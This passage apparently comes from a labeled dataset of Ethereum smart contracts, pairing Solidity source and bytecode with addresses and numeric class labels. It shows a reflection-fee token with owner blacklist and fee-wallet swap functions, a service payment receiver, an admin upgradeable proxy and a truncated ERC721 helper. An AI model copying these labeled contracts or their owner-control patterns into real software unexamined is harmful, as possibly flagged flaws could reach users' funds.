tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cb578063b515566a146102eb578063c3c8cd801461030b578063c9567bf914610320578063dd62ed3e1461033557600080fd5b806370a082311461023e578063715018a61461025e5780638da5cb5b1461027357806395d89b411461029b57600080fd5b8063273123b7116100d1578063273123b7146101cb578063313ce567146101ed5780635932ead1146102095780636fc3eaec1461022957600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101ab57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526009815268426162792053494e5360b81b60208201525b60405161014991906117ca565b60405180910390f35b34801561015e57600080fd5b5061017261016d36600461166a565b61037b565b6040519015158152602001610149565b34801561018e57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610149565b3480156101b757600080fd5b506101726101c6366004611629565b610392565b3480156101d757600080fd5b506101eb6101e63660046115b6565b6103fb565b005b3480156101f957600080fd5b5060405160098152602001610149565b34801561021557600080fd5b506101eb610224366004611762565b61044f565b34801561023557600080fd5b506101eb610497565b34801561024a57600080fd5b5061019d6102593660046115b6565b6104c4565b34801561026a57600080fd5b506101eb6104e6565b34801561027f57600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a757600080fd5b506040805180820190915260078152662120a12ca9a4a760c91b602082015261013c565b3480156102d757600080fd5b506101726102e636600461166a565b61055a565b3480156102f757600080fd5b506101eb610306366004611696565b610567565b34801561031757600080fd5b506101eb6105fd565b34801561032c57600080fd5b506101eb610633565b34801561034157600080fd5b5061019d6103503660046115f0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103883384846109fc565b5060015b92915050565b600061039f848484610b20565b6103f184336103ec856040518060600160405280602881526020016119b6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e6d565b6109fc565b5060019392505050565b6000546001600160a01b0316331461042e5760405162461bcd60e51b81526004016104259061181f565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104795760405162461bcd60e51b81526004016104259061181f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b757600080fd5b476104c181610ea7565b50565b6001600160a01b03811660009081526002602052604081205461038c90610f2c565b6000546001600160a01b031633146105105760405162461bcd60e51b81526004016104259061181f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610388338484610b20565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104259061181f565b60005b81518110156105f9576001600660008484815181106105b5576105b5611966565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611935565b915050610594565b5050565b600c546001600160a01b0316336001600160a01b03161461061d57600080fd5b6000610628306104c4565b90506104c181610fb0565b6000546001600160a01b0316331461065d5760405162461bcd60e51b81526004016104259061181f565b600f54600160a01b900460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610425565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f730826b033b2e3c9fd0803ce80000006109fc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073057600080fd5b505afa158015610744573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076891906115d3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b057600080fd5b505afa1580156107c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e891906115d3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083057600080fd5b505af1158015610844573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086891906115d3565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610898816104c4565b6000806108ad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091057600080fd5b505af1158015610924573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610949919061179c565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c457600080fd5b505af11580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f9919061177f565b6001600160a01b038316610a5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610425565b6001600160a01b038216610abf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610425565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610425565b6001600160a01b038216610be65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610425565b60008111610c485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610425565b6002600a908155600b556000546001600160a01b03848116911614801590610c7e57506000546001600160a01b03838116911614155b15610e5d576001600160a01b03831660009081526006602052604090205460ff16158015610cc557506001600160a01b03821660009081526006602052604090205460ff16155b610cce57600080fd5b600f546001600160a01b038481169116148015610cf95750600e546001600160a01b03838116911614155b8015610d1e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d335750600f54600160b81b900460ff165b15610d9057601054811115610d4757600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6b57600080fd5b610d7642601e6118c5565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dbb5750600e546001600160a01b03848116911614155b8015610de057506001600160a01b03831660009081526005602052604090205460ff16155b15610df0576002600a908155600b555b6000610dfb306104c4565b600f54909150600160a81b900460ff16158015610e265750600f546001600160a01b03858116911614155b8015610e3b5750600f54600160b01b900460ff165b15610e5b57610e4981610fb0565b478015610e5957610e5947610ea7565b505b505b610e68838383611139565b505050565b60008184841115610e915760405162461bcd60e51b815260040161042591906117ca565b506000610e9e848661191e565b95945050505050565b600c546001600160a01b03166108fc610ec1836002611144565b6040518115909202916000818181858888f19350505050158015610ee9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f04836002611144565b6040518115909202916000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6000600854821115610f935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610425565b6000610f9d611186565b9050610fa98382611144565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff857610ff8611966565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104c57600080fd5b505afa158015611060573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108491906115d3565b8160018151811061109757611097611966565b6001600160a01b039283166020918202929092010152600e546110bd91309116846109fc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f6908590600090869030904290600401611854565b600060405180830381600087803b15801561111057600080fd5b505af1158015611124573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e688383836111a9565b6000610fa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a0565b60008060006111936112ce565b90925090506111a28282611144565b9250505090565b6000806000806000806111bb87611316565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111ed9087611373565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121c90866113b5565b6001600160a01b03891660009081526002602052604090205561123e81611414565b611248848361145e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128d91815260200190565b60405180910390a3505050505050505050565b600081836112c15760405162461bcd60e51b815260040161042591906117ca565b506000610e9e84866118dd565b60085460009081906b033b2e3c9fd0803ce80000006112ed8282611144565b82101561130d575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113338a600a54600b54611482565b9250925092506000611343611186565b905060008060006113568e8787876114d7565b919e509c509a509598509396509194505050505091939550919395565b6000610fa983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6d565b6000806113c283856118c5565b905083811015610fa95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610425565b600061141e611186565b9050600061142c8383611527565b3060009081526002602052604090205490915061144990826113b5565b30600090815260026020526040902055505050565b60085461146b9083611373565b60085560095461147b90826113b5565b6009555050565b600080808061149c60646114968989611527565b90611144565b905060006114af60646114968a89611527565b905060006114c7826114c18b86611373565b90611373565b9992985090965090945050505050565b60008080806114e68886611527565b905060006114f48887611527565b905060006115028888611527565b90506000611514826114c18686611373565b939b939a50919850919650505050505050565b6000826115365750600061038c565b600061154283856118ff565b90508261154f85836118dd565b14610fa95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610425565b80356115b181611992565b919050565b6000602082840312156115c857600080fd5b8135610fa981611992565b6000602082840312156115e557600080fd5b8151610fa981611992565b6000806040838503121561160357600080fd5b823561160e81611992565b9150602083013561161e81611992565b809150509250929050565b60008060006060848603121561163e57600080fd5b833561164981611992565b9250602084013561165981611992565b929592945050506040919091013590565b6000806040838503121561167d57600080fd5b823561168881611992565b946020939093013593505050565b600060208083850312156116a957600080fd5b823567ffffffffffffffff808211156116c157600080fd5b818501915085601f8301126116d557600080fd5b8135818111156116e7576116e761197c565b8060051b604051601f19603f8301168101818110858211171561170c5761170c61197c565b604052828152858101935084860182860187018a101561172b57600080fd5b600095505b8386101561175557611741816115a6565b855260019590950194938601938601611730565b5098975050505050505050565b60006020828403121561177457600080fd5b8135610fa9816119a7565b60006020828403121561179157600080fd5b8151610fa9816119a7565b6000806000606084860312156117b157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117f7578581018301518582016040015282016117db565b81811115611809576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a45784516001600160a01b03168352938301939183019160010161187f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118d8576118d8611950565b500190565b6000826118fa57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561191957611919611950565b500290565b60008282101561193057611930611950565b500390565b600060001982141561194957611949611950565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c157600080fd5b80151581146104c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cd0a0e813d2d32de3abc97befb205ccca9fcbbddd137d377ebc4fc6c4362831f64736f6c63430008070033
[ 13, 5 ]
0xf30dfa0e6a1ee7223ffe9e6d50cadb657cde2acd
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.7.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/service/ServiceReceiver.sol pragma solidity ^0.7.0; /** * @title ServiceReceiver * @dev Implementation of the ServiceReceiver */ contract ServiceReceiver is Ownable { mapping (bytes32 => uint256) private _prices; event Created(string serviceName, address indexed serviceAddress); function pay(string memory serviceName) public payable { require(msg.value == _prices[_toBytes32(serviceName)], "ServiceReceiver: incorrect price"); emit Created(serviceName, _msgSender()); } function getPrice(string memory serviceName) public view returns (uint256) { return _prices[_toBytes32(serviceName)]; } function setPrice(string memory serviceName, uint256 amount) public onlyOwner { _prices[_toBytes32(serviceName)] = amount; } function withdraw(uint256 amount) public onlyOwner { payable(owner()).transfer(amount); } function _toBytes32(string memory serviceName) private pure returns (bytes32) { return keccak256(abi.encode(serviceName)); } }
0x6080604052600436106100705760003560e01c8063524f38891161004e578063524f3889146101fc578063715018a6146102c15780638da5cb5b146102d6578063f2fde38b1461030757610070565b806322e01192146100755780632b66d72e1461012c5780632e1a7d4d146101d2575b600080fd5b34801561008157600080fd5b5061012a6004803603604081101561009857600080fd5b8101906020810181356401000000008111156100b357600080fd5b8201836020820111156100c557600080fd5b803590602001918460018302840111640100000000831117156100e757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061033a915050565b005b61012a6004803603602081101561014257600080fd5b81019060208101813564010000000081111561015d57600080fd5b82018360208201111561016f57600080fd5b8035906020019184600183028401116401000000008311171561019157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506103b5945050505050565b3480156101de57600080fd5b5061012a600480360360208110156101f557600080fd5b50356104d1565b34801561020857600080fd5b506102af6004803603602081101561021f57600080fd5b81019060208101813564010000000081111561023a57600080fd5b82018360208201111561024c57600080fd5b8035906020019184600183028401116401000000008311171561026e57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061056d945050505050565b60408051918252519081900360200190f35b3480156102cd57600080fd5b5061012a610592565b3480156102e257600080fd5b506102eb610634565b604080516001600160a01b039092168252519081900360200190f35b34801561031357600080fd5b5061012a6004803603602081101561032a57600080fd5b50356001600160a01b0316610643565b61034261073b565b6000546001600160a01b03908116911614610392576040805162461bcd60e51b815260206004820181905260248201526000805160206107f8833981519152604482015290519081900360640190fd5b80600160006103a08561073f565b81526020810191909152604001600020555050565b600160006103c28361073f565b8152602001908152602001600020543414610424576040805162461bcd60e51b815260206004820181905260248201527f5365727669636552656365697665723a20696e636f7272656374207072696365604482015290519081900360640190fd5b61042c61073b565b6001600160a01b03167fdb4e8a6f69daa6b4b9977ed734b510ed9b7ce86536c87435bfd7ef57968d05ee826040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049457818101518382015260200161047c565b50505050905090810190601f1680156104c15780820380516001836020036101000a031916815260200191505b509250505060405180910390a250565b6104d961073b565b6000546001600160a01b03908116911614610529576040805162461bcd60e51b815260206004820181905260248201526000805160206107f8833981519152604482015290519081900360640190fd5b610531610634565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610569573d6000803e3d6000fd5b5050565b60006001600061057c8461073f565b8152602001908152602001600020549050919050565b61059a61073b565b6000546001600160a01b039081169116146105ea576040805162461bcd60e51b815260206004820181905260248201526000805160206107f8833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b61064b61073b565b6000546001600160a01b0390811691161461069b576040805162461bcd60e51b815260206004820181905260248201526000805160206107f8833981519152604482015290519081900360640190fd5b6001600160a01b0381166106e05760405162461bcd60e51b81526004018080602001828103825260268152602001806107d26026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000816040516020018080602001828103825283818151815260200191508051906020019080838360005b8381101561078257818101518382015260200161076a565b50505050905090810190601f1680156107af5780820380516001836020036101000a031916815260200191505b509250505060405160208183030381529060405280519060200120905091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220c13be2991c2309bd03a15396232c6b2cacf4b3d181385551ac03d5a7d42e02ad64736f6c63430007060033
[ 38 ]
0xf30e8dF9C5EC87edfCfC9E15A349dE8061Dfe8dB
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import './UpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _initAdmin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _initAdmin, bytes memory _data) UpgradeabilityProxy(_logic, _data) payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_initAdmin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101165780638f28397014610147578063f851a4401461017a5761005d565b3661005d5761005b61018f565b005b61005b61018f565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101a9565b61005b600480360360408110156100ae57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156100d857600080fd5b8201836020820111156100ea57600080fd5b803590602001918460018302840111600160201b8311171561010b57600080fd5b5090925090506101e3565b34801561012257600080fd5b5061012b610290565b604080516001600160a01b039092168252519081900360200190f35b34801561015357600080fd5b5061005b6004803603602081101561016a57600080fd5b50356001600160a01b03166102cd565b34801561018657600080fd5b5061012b610387565b6101976103b8565b6101a76101a2610418565b61042b565b565b6101b161044f565b6001600160a01b0316336001600160a01b031614156101d8576101d381610462565b6101e0565b6101e061018f565b50565b6101eb61044f565b6001600160a01b0316336001600160a01b031614156102835761020d83610462565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026a576040519150601f19603f3d011682016040523d82523d6000602084013e61026f565b606091505b505090508061027d57600080fd5b5061028b565b61028b61018f565b505050565b600061029a61044f565b6001600160a01b0316336001600160a01b031614156102c2576102bb610418565b90506102ca565b6102ca61018f565b90565b6102d561044f565b6001600160a01b0316336001600160a01b031614156101d8576001600160a01b0381166103335760405162461bcd60e51b815260040180806020018281038252603681526020018061053d6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035c61044f565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d3816104a2565b600061039161044f565b6001600160a01b0316336001600160a01b031614156102c2576102bb61044f565b3b151590565b6103c061044f565b6001600160a01b0316336001600160a01b031614156104105760405162461bcd60e51b815260040180806020018281038252603281526020018061050b6032913960400191505060405180910390fd5b6101a76101a7565b6000805160206105938339815191525490565b3660008037600080366000845af43d6000803e80801561044a573d6000f35b3d6000fd5b6000805160206105738339815191525490565b61046b816104b4565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60008051602061057383398151915255565b6104bd816103b2565b6104f85760405162461bcd60e51b815260040180806020018281038252603b8152602001806105b3603b913960400191505060405180910390fd5b6000805160206105938339815191525556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f2061646472657373b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc43616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122046d2e76e4f2da32f9295a400f439f9ec11acaee0cbc86f5feac4d8a16ca55dd364736f6c63430007060033
[ 38 ]
0xf30ef205da704eba5b821a8740c05d805c871478
// SPDX-License-Identifier: MIT pragma solidity 0.6.5; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Supply is IERC721{ function totalSupply() external view returns (uint256 balance); } contract GunnerUtils { /// @notice Returns a list of all Tokens IDs assigned to an address. /// @param _token The ERC721. /// @param _owner The owner whose tokens we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function 